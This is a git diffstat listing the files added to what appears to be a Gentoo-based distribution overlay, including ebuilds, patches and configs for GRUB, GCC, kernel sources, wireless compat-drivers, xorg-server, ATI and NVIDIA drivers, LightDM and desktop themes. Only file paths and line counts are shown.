 .../grub-2.00-zfs-feature-flag-support-r1.patch    |  893 ++
 .../files/grub-2.00-zfs-feature-flag-support.patch | 1017 +++
 sys-boot/grub/files/grub.conf.gentoo               |   16 +
 sys-boot/grub/files/grub.default-2                 |   57 +
 sys-boot/grub/files/grub2-default                  |   62 +
 sys-boot/grub/files/grub2-default-1.99             |   49 +
 sys-boot/grub/files/splash.xpm.gz                  |  Bin 0 -> 6251 bytes
 .../01_uuids_and_lvm_dont_play_along_nicely.diff   |   14 +
 .../902_boot_blocklist_hack.diff                   |   20 +
 .../ubuntu-upstream-1.98/904_disable_floppies.diff |   28 +
 .../ubuntu-upstream-1.98/956_loopback_root.diff    |  139 +
 .../ubuntu-upstream-1.98/957_handle_loopback.diff  |   45 +
 .../958_linux_no_loopmount.diff                    |   20 +
 .../ubuntu-upstream-1.98/960_raid_virtio.diff      |  158 +
 .../ubuntu-upstream-1.98/961_dmraid_probe.diff     |  650 ++
 .../ubuntu-upstream-1.98/962_no_device_map.diff    |  112 +
 .../ubuntu-upstream-1.98/968_hostdisk_speedup.diff |  310 +
 .../ubuntu-upstream-1.98/969_lvm_raid_probe.diff   |  227 +
 .../970_fix_locale_installation.diff               |   55 +
 .../files/ubuntu-upstream-1.98/971_langpacks.diff  |   30 +
 .../ubuntu-upstream-1.98/974_drive_probe.diff      |   23 +
 .../ubuntu-upstream-1.98/975_hostdisk_hd.diff      |  114 +
 .../01_uuids_and_lvm_dont_play_along_nicely.diff   |   14 +
 .../ubuntu-upstream/904_disable_floppies.diff      |   28 +
 sys-boot/grub/grub-0.97-r22.ebuild                 |  245 +
 sys-boot/grub/grub-1.99-r2.ebuild                  |  319 +
 sys-boot/grub/grub-2.00-r2.ebuild                  |  376 +
 sys-boot/grub/grub-2.00-r3.ebuild                  |  376 +
 sys-boot/grub/grub-2.00-r4.ebuild                  |  286 +
 sys-boot/grub/grub-2.00-r5.ebuild                  |  286 +
 sys-boot/grub/grub-2.00.ebuild                     |  369 +
 sys-boot/plymouth-extras/Manifest                  |    2 +
 .../plymouth-extras-0.8.8-r1.ebuild                |   52 +
 sys-boot/plymouth/Manifest                         |    1 +
 .../files/plymouth-rogentos-defaults.patch         |    9 +
 sys-boot/plymouth/metadata.xml                     |   26 +
 sys-boot/plymouth/plymouth-0.8.8-r2.ebuild         |   80 +
 sys-boot/plymouth/plymouth-0.8.8-r4.ebuild         |   89 +
 sys-boot/plymouth/plymouth-0.8.9_pre2.ebuild       |   87 +
 sys-devel/base-gcc/Manifest                        |   26 +
 sys-devel/base-gcc/base-gcc-4.5.3-r2.ebuild        |  176 +
 sys-devel/base-gcc/base-gcc-4.6.2.ebuild           |  184 +
 sys-devel/base-gcc/base-gcc-4.6.3.ebuild           |  210 +
 sys-devel/base-gcc/base-gcc-4.7.2.ebuild           |  210 +
 sys-devel/base-gcc/files/awk/fixlafiles.awk        |  314 +
 .../base-gcc/files/awk/fixlafiles.awk-no_gcc_la    |  335 +
 sys-devel/base-gcc/files/fix_libtool_files.sh      |   72 +
 sys-devel/base-gcc/files/gcc-configure-LANG.patch  |   64 +
 .../base-gcc/files/gcc-configure-texinfo.patch     |   16 +
 sys-devel/base-gcc/files/gcc-spec-env.patch        |   42 +
 sys-devel/base-gcc/files/mkinfodir                 |  233 +
 sys-devel/base-gcc/files/pro-police-docs.patch     |   74 +
 sys-devel/base-gcc/metadata.xml                    |   31 +
 sys-devel/gcc/Manifest                             |   29 +
 sys-devel/gcc/files/awk/fixlafiles.awk             |  314 +
 sys-devel/gcc/files/awk/fixlafiles.awk-no_gcc_la   |  335 +
 sys-devel/gcc/files/c89                            |   20 +
 sys-devel/gcc/files/c99                            |   21 +
 sys-devel/gcc/files/fix_libtool_files.sh           |   72 +
 sys-devel/gcc/files/gcc-4.6.2-fix-ICE-on-arm.patch |   24 +
 sys-devel/gcc/files/gcc-configure-LANG.patch       |   64 +
 sys-devel/gcc/files/gcc-configure-texinfo.patch    |   16 +
 sys-devel/gcc/files/gcc-spec-env.patch             |   42 +
 sys-devel/gcc/files/mkinfodir                      |  233 +
 sys-devel/gcc/files/pro-police-docs.patch          |   74 +
 sys-devel/gcc/gcc-4.5.3-r2.ebuild                  |  113 +
 sys-devel/gcc/gcc-4.6.2.ebuild                     |  132 +
 sys-devel/gcc/gcc-4.6.3.ebuild                     |  159 +
 sys-devel/gcc/gcc-4.7.2.ebuild                     |  159 +
 sys-devel/gcc/metadata.xml                         |   31 +
 sys-devel/ucpp/ChangeLog                           |   24 +
 sys-devel/ucpp/Manifest                            |    8 +
 sys-devel/ucpp/files/tune.h.patch                  |   28 +
 sys-devel/ucpp/metadata.xml                        |    6 +
 sys-devel/ucpp/ucpp-1.3.3.ebuild                   |   28 +
 sys-devel/ucpp/ucpp-1.3.ebuild                     |   34 +
 sys-devel/ucpp/ucpp-9999.ebuild                    |   34 +
 sys-devel/ucpp/ucpp/ChangeLog                      |   24 +
 sys-fs/vdfuse/ChangeLog                            |    5 +
 sys-fs/vdfuse/Manifest                             |    3 +
 sys-fs/vdfuse/vdfuse-82a.ebuild                    |   70 +
 sys-kernel/compat-drivers-alx/Manifest             |   27 +
 .../compat-drivers-alx-3.8_rc5.ebuild              |  178 +
 .../compat-drivers-alx-3.8_rc7.ebuild              |  186 +
 .../files/3.8-grsec/00-read-only.patch             |   23 +
 .../files/3.8-grsec/01-read-only.patch             |   12 +
 .../files/3.8-grsec/02-read-only-ath.patch         |  240 +
 .../files/3.8-grsec/03-read-only-memory.patch      |   11 +
 .../files/3.8-grsec/04-read-only-brcm80211.patch   |   11 +
 .../files/3.8-grsec/05-read-only-i915.patch        |   17 +
 .../files/3.8-grsec/06-read-only-radeon.patch      |   58 +
 .../files/3.8-grsec/07-read-only-wl1251.patch      |   11 +
 .../files/3.8-grsec/08-read-only-ti.patch          |   11 +
 .../files/3.8-grsec/09-read-only-nouveau.patch     |   33 +
 .../3.8-grsec/20-version-disagrement-iwlwifi.patch |  139 +
 ...0211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch |   17 +
 .../files/4004_zd1211rw-2.6.28.patch               |   37 +
 .../files/ath_regd_optional.patch                  |   39 +
 .../compat-drivers-3.7_rc1_p6-grsec-warnings.patch |   34 +
 .../files/compat-drivers-3.7_rc1_p6-grsec.patch    | 8365 ++++++++++++++++++
 .../files/compat-drivers-3.8-ath6kl.patch          |   37 +
 .../files/compat-drivers-3.8-bt_tty.patch          |   37 +
 .../files/compat-drivers-3.8-driver-select         |  845 ++
 .../files/ipw2200-inject.3.4.6.patch               |  120 +
 .../files/leds-disable-strict-3.6.6.patch          |   30 +
 .../files/leds-disable-strict-3.7_rc1_p6.patch     |   30 +
 .../files/leds-disable-strict-3.8.patch            |   30 +
 sys-kernel/compat-drivers/Manifest                 |   33 +
 .../compat-drivers-3.7_rc1_p6-r1.ebuild            |  177 +
 .../compat-drivers-3.7_rc1_p6.ebuild               |  185 +
 .../compat-drivers/compat-drivers-3.8.ebuild       |  174 +
 .../compat-drivers/compat-drivers-3.8_rc5.ebuild   |  176 +
 .../compat-drivers/compat-drivers-3.8_rc7.ebuild   |  184 +
 .../files/3.8-grsec/00-read-only.patch             |   23 +
 .../files/3.8-grsec/01-read-only.patch             |   12 +
 .../files/3.8-grsec/02-read-only-ath.patch         |  240 +
 .../files/3.8-grsec/03-read-only-memory.patch      |   11 +
 .../files/3.8-grsec/04-read-only-brcm80211.patch   |   11 +
 .../files/3.8-grsec/05-read-only-i915.patch        |   17 +
 .../files/3.8-grsec/06-read-only-radeon.patch      |   58 +
 .../files/3.8-grsec/07-read-only-wl1251.patch      |   11 +
 .../files/3.8-grsec/08-read-only-ti.patch          |   11 +
 .../files/3.8-grsec/09-read-only-nouveau.patch     |   33 +
 .../3.8-grsec/20-version-disagrement-iwlwifi.patch |  139 +
 ...0211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch |   17 +
 .../files/4004_zd1211rw-2.6.28.patch               |   37 +
 .../compat-drivers/files/ath_regd_optional.patch   |   39 +
 .../compat-drivers-3.7_rc1_p6-grsec-warnings.patch |   34 +
 .../files/compat-drivers-3.7_rc1_p6-grsec.patch    | 8365 ++++++++++++++++++
 .../files/compat-drivers-3.8-ath6kl.patch          |   37 +
 .../files/compat-drivers-3.8-bt_tty.patch          |   37 +
 .../files/compat-drivers-3.8-driver-select         |  845 ++
 .../files/ipw2200-inject.3.4.6.patch               |  120 +
 .../files/leds-disable-strict-3.6.6.patch          |   30 +
 .../files/leds-disable-strict-3.7_rc1_p6.patch     |   30 +
 .../files/leds-disable-strict-3.8.patch            |   30 +
 sys-kernel/compat-drivers/metadata.xml             |   35 +
 sys-kernel/debian-sources-lts/Manifest             |    4 +
 .../debian-sources-lts-2.6.32.41-r1.ebuild         |  161 +
 .../debian-sources-lts-2.6.32.41.ebuild            |  156 +
 .../debian-sources-lts-2.6.32.43-r1.ebuild         |  161 +
 .../debian-sources-lts-2.6.32.43.ebuild            |  156 +
 .../debian-sources-lts-2.6.32.46.ebuild            |  162 +
 sys-kernel/debian-sources-lts/files/config-extract |  216 +
 .../files/debian-sources-2.6.32.30-bridgemac.patch |   15 +
 .../files/debian-sources-2.6.38.3-bridgemac.patch  |   15 +
 sys-kernel/debian-sources-lts/metadata.xml         |    6 +
 sys-kernel/debian-sources/Manifest                 |   16 +
 .../debian-sources/debian-sources-3.10.11.ebuild   |  145 +
 .../debian-sources/debian-sources-3.12.3.ebuild    |  145 +
 sys-kernel/debian-sources/files/config-extract     |  219 +
 .../debian-sources-3.10.11-xfs-libcrc32c-fix.patch |   21 +
 .../debian-sources-3.12.3-xfs-libcrc32c-fix.patch  |   21 +
 sys-kernel/debian-sources/metadata.xml             |   10 +
 sys-kernel/kogaion-sources/Manifest                |    1 +
 ...groups-kconfig-build-bits-for-BFQ-v7-3.10.patch |  103 +
 ...k-introduce-the-BFQ-v7-I-O-sched-for-3.10.patch | 5969 +++++++++++++
 ...arly-Queue-Merge-EQM-to-BFQ-v7-for-3.10.0.patch | 1034 +++
 .../kogaion-sources/files/desktop/3.10-ck1.patch   | 8732 +++++++++++++++++++
 .../desktop/change-default-console-loglevel.patch  |   13 +
 .../files/desktop/criu-no-expert.patch             |   23 +
 .../desktop/enable_haswell_pstate_driver.patch     |   33 +
 .../set_kogaion_extraversion_in_makefile.patch     |   12 +
 .../files/desktop/uksm-0.1.2.2-for-v3.10.patch     | 7064 +++++++++++++++
 ...rect-invalid-use-of-user-timespec-in-the-.patch |   80 +
 .../kogaion-sources/kogaion-sources-3.10.25.ebuild |   55 +
 sys-kernel/linux-sabayon/Manifest                  |    2 +
 .../linux-sabayon/linux-sabayon-3.2-r2.ebuild      |   12 +
 .../rogentos-sources-3.10.26.ebuild                |   22 +
 .../rogentos-sources-3.10.27.ebuild                |   22 +
 .../rogentos-sources-3.11.10.ebuild                |   22 +
 .../rogentos-sources-3.12.10.ebuild                |   22 +
 .../rogentos-sources-3.12.7.ebuild                 |   22 +
 .../rogentos-sources-3.12.8.ebuild                 |   22 +
 .../rogentos-sources-3.2-r2.ebuild                 |   19 +
 .../rogentos-sources-3.4.76.ebuild                 |   22 +
 .../rogentos-sources-3.4.77.ebuild                 |   22 +
 .../rogentos-sources-3.8.13.ebuild                 |   21 +
 .../rogentos-sources-3.9.11.ebuild                 |   22 +
 sys-kernel/rogentos-sources/rogentos-sources.skel  |   22 +
 www-apps/liquid_feedback_core/ChangeLog            |   12 +
 www-apps/liquid_feedback_core/Manifest             |    2 +
 .../files/liquid_feedback_core-2.2.3-gentoo.patch  |   24 +
 .../liquid_feedback_core/files/postinstall-en.txt  |   25 +
 .../liquid_feedback_core-2.2.3.ebuild              |   43 +
 .../liquid_feedback_core-3.0.0.ebuild              |   43 +
 www-apps/liquid_feedback_core/metadata.xml         |   14 +
 www-apps/liquid_feedback_frontend/ChangeLog        |   12 +
 www-apps/liquid_feedback_frontend/Manifest         |    3 +
 .../files/lqfb-apache.conf                         |   41 +
 .../files/lqfb.example.com.conf                    |   24 +
 .../liquid_feedback_frontend/files/myconfig.lua    |   29 +
 .../files/postinstall-en.txt                       |   52 +
 .../liquid_feedback_frontend-2.2.2.ebuild          |   64 +
 .../liquid_feedback_frontend-2.2.5.ebuild          |   63 +
 www-apps/liquid_feedback_frontend/metadata.xml     |   13 +
 x11-base/xorg-server/ChangeLog                     | 2958 +++++++
 x11-base/xorg-server/Manifest                      |   38 +
 x11-base/xorg-server/files/xdm-setup.initd-1       |   14 +
 x11-base/xorg-server/files/xdm.confd-3             |   16 +
 x11-base/xorg-server/files/xdm.confd-4             |   10 +
 x11-base/xorg-server/files/xdm.initd               |  209 +
 x11-base/xorg-server/files/xdm.initd-3             |  218 +
 x11-base/xorg-server/files/xdm.initd-4             |  220 +
 x11-base/xorg-server/files/xdm.initd-5             |  219 +
 x11-base/xorg-server/files/xdm.initd-7             |  220 +
 x11-base/xorg-server/files/xdm.initd-8             |  216 +
 .../files/xorg-cve-2011-4028+4029.patch            |   22 +
 ...org-server-1.11-disable-tests-without-ddx.patch |   64 +
 ...rver-1.11-dix-pointerrootwin-send-focusin.patch |   27 +
 .../xorg-server-1.11-dix-send-focus-events.patch   |   48 +
 .../files/xorg-server-1.11-log-format-fix.patch    |  441 +
 .../xorg-server-1.11-pointer-to-int-cast.patch     |   87 +
 .../files/xorg-server-1.12-disable-acpi.patch      |   11 +
 ...rg-server-1.12-xf86edidmodes-array-bounds.patch |   35 +
 .../files/xorg-server-1.9-nouveau-default.patch    |   30 +
 .../files/xorg-server-die-ugly-background.patch    |   16 +
 .../files/xorg-server-disable-acpi.patch           |   31 +
 .../xorg-server/files/xorg-server-glapi_c.patch    |   78 +
 x11-base/xorg-server/files/xorg-sets.conf          |    6 +
 x11-base/xorg-server/metadata.xml                  |   12 +
 x11-base/xorg-server/xorg-server-1.10.4.ebuild     |  269 +
 x11-base/xorg-server/xorg-server-1.11.3.ebuild     |  264 +
 x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild  |  276 +
 x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild  |  266 +
 x11-base/xorg-server/xorg-server-1.12.2.ebuild     |  264 +
 x11-base/xorg-server/xorg-server-1.12.3.ebuild     |  263 +
 x11-base/xorg-server/xorg-server-1.12.4.ebuild     |  263 +
 x11-drivers/ati-drivers/Manifest                   |   61 +
 x11-drivers/ati-drivers/ati-drivers-11.10.ebuild   |  233 +
 x11-drivers/ati-drivers/ati-drivers-11.11.ebuild   |  233 +
 x11-drivers/ati-drivers/ati-drivers-11.12.ebuild   |  233 +
 x11-drivers/ati-drivers/ati-drivers-11.6.ebuild    |  236 +
 x11-drivers/ati-drivers/ati-drivers-11.8.ebuild    |  233 +
 x11-drivers/ati-drivers/ati-drivers-11.9.ebuild    |  233 +
 x11-drivers/ati-drivers/ati-drivers-12.1-r1.ebuild |  236 +
 x11-drivers/ati-drivers/ati-drivers-12.10.ebuild   |  240 +
 x11-drivers/ati-drivers/ati-drivers-12.2.ebuild    |  239 +
 x11-drivers/ati-drivers/ati-drivers-12.3.ebuild    |  239 +
 x11-drivers/ati-drivers/ati-drivers-12.4.ebuild    |  242 +
 x11-drivers/ati-drivers/ati-drivers-12.6.ebuild    |  252 +
 .../ati-drivers-12.6_beta_pre897.ebuild            |  239 +
 x11-drivers/ati-drivers/ati-drivers-12.8.ebuild    |  235 +
 x11-drivers/ati-drivers/ati-drivers-13.1.ebuild    |  258 +
 x11-drivers/ati-drivers/ati-drivers-13.4.ebuild    |  192 +
 .../ati-drivers/files/amd-drivers-3.2.7.1.patch    |   19 +
 .../files/ati-drivers-12.2-redefine-WARN.patch     |   42 +
 ...ivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch |   27 +
 .../ati-drivers/files/ati-drivers-2.6.33.patch     |  140 +
 .../ati-drivers/files/ati-drivers-2.6.34.patch     |   10 +
 .../files/ati-drivers-2.6.35-and-newer.patch       |   11 +
 .../ati-drivers/files/ati-drivers-2.6.36.patch     |   26 +
 .../ati-drivers/files/ati-drivers-2.6.37.patch     |   14 +
 .../ati-drivers/files/ati-drivers-2.6.38.patch     |   60 +
 .../ati-drivers/files/ati-drivers-2.6.39.patch     |   55 +
 .../ati-drivers/files/ati-drivers-3.2.8+-2.patch   |   12 +
 .../ati-drivers/files/ati-drivers-3.2.8+.patch     |   29 +
 .../files/ati-drivers-CVE-2010-3081-fix.patch      |   60 +
 .../ati-drivers/files/ati-drivers-do_mmap.patch    |   50 +
 .../ati-drivers-fix_compilation-bug-297322.patch   |   25 +
 .../files/ati-drivers-kernel-3.8-acpihandle.patch  |   15 +
 .../ati-drivers/files/ati-drivers-old_rsp.patch    |   24 +
 .../files/ati-drivers-redefine-WARN.patch          |   39 +
 .../files/ati-drivers-vm-reserverd.patch           |   12 +
 .../ati-drivers-x32_something_something.patch      |   13 +
 .../ati-drivers/files/ati-drivers-xen.patch        |   62 +
 .../files/ati-powermode-opt-path-2.patch           |   42 +
 .../files/ati-powermode-opt-path-3.patch           |   40 +
 x11-drivers/ati-drivers/files/atieventsd.init      |   20 +
 .../ati-drivers/files/const-notifier-block.patch   |   25 +
 .../kernel/2.6.31-fglrx_find_task_by_vpid.patch    |   19 +
 .../files/kernel/2.6.32-9.11-fix_compilation.patch |   37 +
 x11-drivers/ati-drivers/files/switchlibGL          |   61 +
 x11-drivers/ati-userspace/Manifest                 |   57 +
 .../ati-userspace/ati-userspace-11.10.ebuild       |  384 +
 .../ati-userspace/ati-userspace-11.11.ebuild       |  412 +
 .../ati-userspace/ati-userspace-11.12.ebuild       |  412 +
 .../ati-userspace/ati-userspace-11.6.ebuild        |  386 +
 .../ati-userspace/ati-userspace-11.8.ebuild        |  398 +
 .../ati-userspace/ati-userspace-11.9.ebuild        |  398 +
 .../ati-userspace/ati-userspace-12.1-r1.ebuild     |  414 +
 .../ati-userspace/ati-userspace-12.10.ebuild       |  433 +
 .../ati-userspace/ati-userspace-12.2.ebuild        |  414 +
 .../ati-userspace/ati-userspace-12.3.ebuild        |  416 +
 .../ati-userspace/ati-userspace-12.4.ebuild        |  416 +
 .../ati-userspace/ati-userspace-12.6.ebuild        |  430 +
 .../ati-userspace-12.6_beta_pre897.ebuild          |  430 +
 .../ati-userspace/ati-userspace-12.8.ebuild        |  426 +
 .../ati-userspace/ati-userspace-13.1.ebuild        |  481 ++
 .../ati-userspace/ati-userspace-13.4.ebuild        |  487 ++
 .../ati-userspace/files/amd-drivers-3.2.7.1.patch  |   19 +
 .../files/ati-drivers-12.2-redefine-WARN.patch     |   42 +
 ...ivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch |   27 +
 .../ati-userspace/files/ati-drivers-2.6.33.patch   |  140 +
 .../ati-userspace/files/ati-drivers-2.6.34.patch   |   10 +
 .../files/ati-drivers-2.6.35-and-newer.patch       |   11 +
 .../ati-userspace/files/ati-drivers-2.6.36.patch   |   26 +
 .../ati-userspace/files/ati-drivers-2.6.37.patch   |   11 +
 .../ati-userspace/files/ati-drivers-2.6.38.patch   |   59 +
 .../files/ati-drivers-CVE-2010-3081-fix.patch      |   60 +
 .../ati-userspace/files/ati-drivers-do_mmap.patch  |   50 +
 .../ati-drivers-fix_compilation-bug-297322.patch   |   25 +
 .../files/ati-drivers-kernel-3.8-acpihandle.patch  |   15 +
 .../ati-userspace/files/ati-drivers-old_rsp.patch  |   24 +
 .../files/ati-drivers-vm-reserverd.patch           |   12 +
 .../ati-drivers-x32_something_something.patch      |   13 +
 .../ati-userspace/files/ati-drivers-xen.patch      |   62 +
 .../files/ati-powermode-opt-path-2.patch           |   42 +
 .../files/ati-powermode-opt-path-3.patch           |   40 +
 x11-drivers/ati-userspace/files/atieventsd.init    |   20 +
 .../ati-userspace/files/const-notifier-block.patch |   25 +
 .../kernel/2.6.31-fglrx_find_task_by_vpid.patch    |   19 +
 .../files/kernel/2.6.32-9.11-fix_compilation.patch |   37 +
 x11-drivers/ati-userspace/files/switchlibGL        |   61 +
 x11-drivers/nvidia-drivers/Manifest                |  120 +
 x11-drivers/nvidia-drivers/files/10nvidia          |    1 +
 .../nvidia-drivers/files/256.35-unified-arch.patch |   30 +
 .../nvidia-drivers/files/eblits/donvidia.eblit     |   21 +
 .../nvidia-drivers/files/eblits/mtrr_check.eblit   |   19 +
 .../files/eblits/src_install-libs.eblit            |  116 +
 .../nvidia-drivers/files/eblits/want_tls.eblit     |   33 +
 x11-drivers/nvidia-drivers/files/libGL.la-r2       |   32 +
 .../files/make-use-of-the-new-uapi-framework.patch |   46 +
 x11-drivers/nvidia-drivers/files/nvidia            |   40 +
 x11-drivers/nvidia-drivers/files/nvidia-169.07     |   14 +
 .../files/nvidia-drivers-173-3.10.patch            |  714 ++
 .../files/nvidia-drivers-260.19.44-2.6.39.patch    |   10 +
 .../files/nvidia-drivers-290.10-3.2.8+.patch       |   11 +
 .../files/nvidia-drivers-304-3.10.patch            |  626 ++
 .../files/nvidia-drivers-313.18-3.8.patch          |   24 +
 .../files/nvidia-drivers-319.23-3.10.patch         |  604 ++
 .../files/nvidia-drivers-96.43.19-2.6.39.patch     |   10 +
 .../files/nvidia-drivers-pax-const.patch           |   17 +
 .../files/nvidia-drivers-pax-usercopy.patch        |   54 +
 ...RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch |   28 +
 x11-drivers/nvidia-drivers/metadata.xml            |   10 +
 .../nvidia-drivers/nvidia-drivers-173.14.31.ebuild |  199 +
 .../nvidia-drivers/nvidia-drivers-173.14.34.ebuild |  204 +
 .../nvidia-drivers/nvidia-drivers-173.14.35.ebuild |  204 +
 .../nvidia-drivers/nvidia-drivers-275.09.07.ebuild |  192 +
 .../nvidia-drivers/nvidia-drivers-280.13.ebuild    |  195 +
 .../nvidia-drivers/nvidia-drivers-285.05.09.ebuild |  192 +
 .../nvidia-drivers/nvidia-drivers-290.10.ebuild    |  195 +
 .../nvidia-drivers/nvidia-drivers-295.20.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-295.33.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-295.40.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-295.49.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-295.53.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-295.59.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-302.17.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-304.22.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-304.37.ebuild    |  180 +
 .../nvidia-drivers/nvidia-drivers-304.64.ebuild    |  444 +
 .../nvidia-drivers/nvidia-drivers-304.88.ebuild    |  187 +
 .../nvidia-drivers/nvidia-drivers-310.19.ebuild    |  180 +
 .../nvidia-drivers/nvidia-drivers-313.18.ebuild    |  431 +
 .../nvidia-drivers/nvidia-drivers-313.30.ebuild    |  184 +
 .../nvidia-drivers/nvidia-drivers-325.15.ebuild    |  192 +
 .../nvidia-drivers/nvidia-drivers-96.43.20.ebuild  |  199 +
 x11-drivers/nvidia-userspace/Manifest              |  104 +
 x11-drivers/nvidia-userspace/files/09nvidia        |    2 +
 .../files/90mutter-disable-culling                 |    2 +
 .../files/NVIDIA_glx-defines.patch                 |   11 +
 .../files/NVIDIA_glx-glheader.patch                |   13 +
 .../nvidia-userspace/files/eblits/donvidia.eblit   |   21 +
 .../nvidia-userspace/files/eblits/mtrr_check.eblit |   19 +
 .../files/eblits/src_install-libs.eblit            |  116 +
 .../nvidia-userspace/files/eblits/want_tls.eblit   |   33 +
 x11-drivers/nvidia-userspace/files/libGL.la-r2     |   32 +
 x11-drivers/nvidia-userspace/files/nvidia          |   40 +
 x11-drivers/nvidia-userspace/files/nvidia-169.07   |   14 +
 x11-drivers/nvidia-userspace/files/nvidia-smi.init |   25 +
 x11-drivers/nvidia-userspace/files/nvidia-udev.sh  |   17 +
 .../nvidia-userspace/files/nvidia.udev-rule        |    6 +
 x11-drivers/nvidia-userspace/metadata.xml          |   10 +
 .../nvidia-userspace-173.14.31.ebuild              |  395 +
 .../nvidia-userspace-173.14.34.ebuild              |  395 +
 .../nvidia-userspace-173.14.35.ebuild              |  395 +
 .../nvidia-userspace-275.09.07.ebuild              |  414 +
 .../nvidia-userspace-280.13.ebuild                 |  414 +
 .../nvidia-userspace-285.05.09.ebuild              |  414 +
 .../nvidia-userspace-290.10.ebuild                 |  436 +
 .../nvidia-userspace-295.20.ebuild                 |  436 +
 .../nvidia-userspace-295.33.ebuild                 |  452 +
 .../nvidia-userspace-295.40.ebuild                 |  456 +
 .../nvidia-userspace-295.49.ebuild                 |  453 +
 .../nvidia-userspace-295.53.ebuild                 |  453 +
 .../nvidia-userspace-295.59.ebuild                 |  453 +
 .../nvidia-userspace-302.17.ebuild                 |  453 +
 .../nvidia-userspace-304.22.ebuild                 |  453 +
 .../nvidia-userspace-304.37.ebuild                 |  385 +
 .../nvidia-userspace-304.88.ebuild                 |  379 +
 .../nvidia-userspace-310.19.ebuild                 |  385 +
 .../nvidia-userspace-313.30.ebuild                 |  368 +
 .../nvidia-userspace-325.15.ebuild                 |  372 +
 .../nvidia-userspace-96.43.20.ebuild               |  395 +
 x11-drivers/pvr-omap4/Manifest                     |    4 +
 x11-drivers/pvr-omap4/README                       |    2 +
 .../pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild        |   38 +
 x11-drivers/xf86-video-ati/Manifest                |   13 +
 ...ideo-ati-6.14.4-exa-solid-accel-evergreen.patch |  287 +
 ...f86-video-ati-6.14.4-exa-solid-accel-r100.patch |  179 +
 ...f86-video-ati-6.14.4-exa-solid-accel-r200.patch |  176 +
 ...f86-video-ati-6.14.4-exa-solid-accel-r300.patch |  560 ++
 x11-drivers/xf86-video-ati/metadata.xml            |    5 +
 .../xf86-video-ati/xf86-video-ati-6.14.4-r1.ebuild |   46 +
 .../xf86-video-ati/xf86-video-ati-6.14.6-r1.ebuild |   43 +
 .../xf86-video-ati/xf86-video-ati-7.0.0.ebuild     |   37 +
 .../xf86-video-ati/xf86-video-ati-7.1.0.ebuild     |   41 +
 x11-drivers/xf86-video-intel/Manifest              |    3 +
 x11-drivers/xf86-video-intel/metadata.xml          |    9 +
 .../xf86-video-intel-2.20.0.ebuild                 |   55 +
 x11-drivers/xf86-video-radeonhd/Manifest           |    1 +
 .../xf86-video-radeonhd-9999.ebuild                |   31 +
 x11-libs/vdpau-video/Manifest                      |    2 +
 x11-libs/vdpau-video/vdpau-video-0.7.3.ebuild      |   41 +
 x11-misc/lightdm-base/Manifest                     |    3 +
 x11-misc/lightdm-base/files/README.gentoo          |   11 +
 x11-misc/lightdm-base/files/Xsession               |   69 +
 x11-misc/lightdm-base/files/lightdm                |    8 +
 .../files/lightdm-1.7.7-session-wrapper.patch      |   13 +
 x11-misc/lightdm-base/files/lightdm-autologin      |    6 +
 x11-misc/lightdm-base/files/lightdm.service        |   14 +
 .../files/session-wrapper-lightdm.patch            |   13 +
 x11-misc/lightdm-base/lightdm-base-1.4.0-r1.ebuild |   91 +
 x11-misc/lightdm-base/lightdm-base-1.4.0.ebuild    |   91 +
 x11-misc/lightdm-base/lightdm-base-1.8.5-r2.ebuild |   98 +
 x11-misc/lightdm-base/metadata.xml                 |   21 +
 x11-misc/lightdm-gtk-greeter/Manifest              |    3 +
 .../lightdm-gtk-greeter-1.3.1-r1.ebuild            |   48 +
 .../lightdm-gtk-greeter-1.6.1.ebuild               |   44 +
 .../lightdm-gtk-greeter-1.7.0.ebuild               |   47 +
 x11-misc/lightdm-kde/Manifest                      |    1 +
 .../files/lightdm-kde-0.3.2.1-lightdm-1.7.patch    |   49 +
 x11-misc/lightdm-kde/lightdm-kde-0.3.1.ebuild      |   38 +
 x11-misc/lightdm-kde/lightdm-kde-0.3.2.1.ebuild    |   41 +
 x11-misc/lightdm-kde/metadata.xml                  |    5 +
 x11-misc/lightdm-qt4/Manifest                      |    3 +
 .../files/lightdm-1.2.0-fix-configure.patch        |   10 +
 x11-misc/lightdm-qt4/lightdm-qt4-1.4.0.ebuild      |   57 +
 x11-misc/lightdm-qt4/lightdm-qt4-1.8.5.ebuild      |   56 +
 x11-misc/lightdm-qt4/metadata.xml                  |    6 +
 x11-misc/lightdm/lightdm-1.4.0-r1.ebuild           |   22 +
 x11-misc/lightdm/lightdm-1.8.5-r2.ebuild           |   22 +
 x11-misc/lightdm/metadata.xml                      |    6 +
 x11-misc/virtualgl/ChangeLog                       |   72 +
 x11-misc/virtualgl/Manifest                        |   18 +
 x11-misc/virtualgl/files/vgl.confd-r1              |   27 +
 x11-misc/virtualgl/files/vgl.initd-r1              |   30 +
 x11-misc/virtualgl/files/vgl.initd-r2              |   30 +
 x11-misc/virtualgl/metadata.xml                    |   21 +
 x11-misc/virtualgl/virtualgl-2.3.2-r1.ebuild       |   80 +
 x11-misc/virtualgl/virtualgl-2.3.2-r2.ebuild       |   80 +
 x11-themes/cristal-blue/Manifest                   |    4 +
 x11-themes/cristal-blue/cristal-blue-1.3.1.ebuild  |   55 +
 x11-themes/elementary-icon-theme/Manifest          |    3 +
 .../elementary-icon-theme-2.7.1-r1.ebuild          |  107 +
 x11-themes/faenza-cupertino/Manifest               |    2 +
 .../faenza-cupertino/faenza-cupertino-1.0.ebuild   |   33 +
 x11-themes/faenza-kupertino-icons/Manifest         |    2 +
 .../faenza-kupertino-icons-1.0.ebuild              |   40 +
 x11-themes/gnome-colors-common/Manifest            |    4 +
 .../gnome-colors-common-5.5.1-r12.ebuild           |   51 +
 x11-themes/gnome-colors-common/metadata.xml        |    9 +
 x11-themes/kogaion-artwork-core/Manifest           |    5 +
 .../kogaion-artwork-core-1.ebuild                  |   59 +
 .../kogaion-artwork-core-2-r1.ebuild               |   60 +
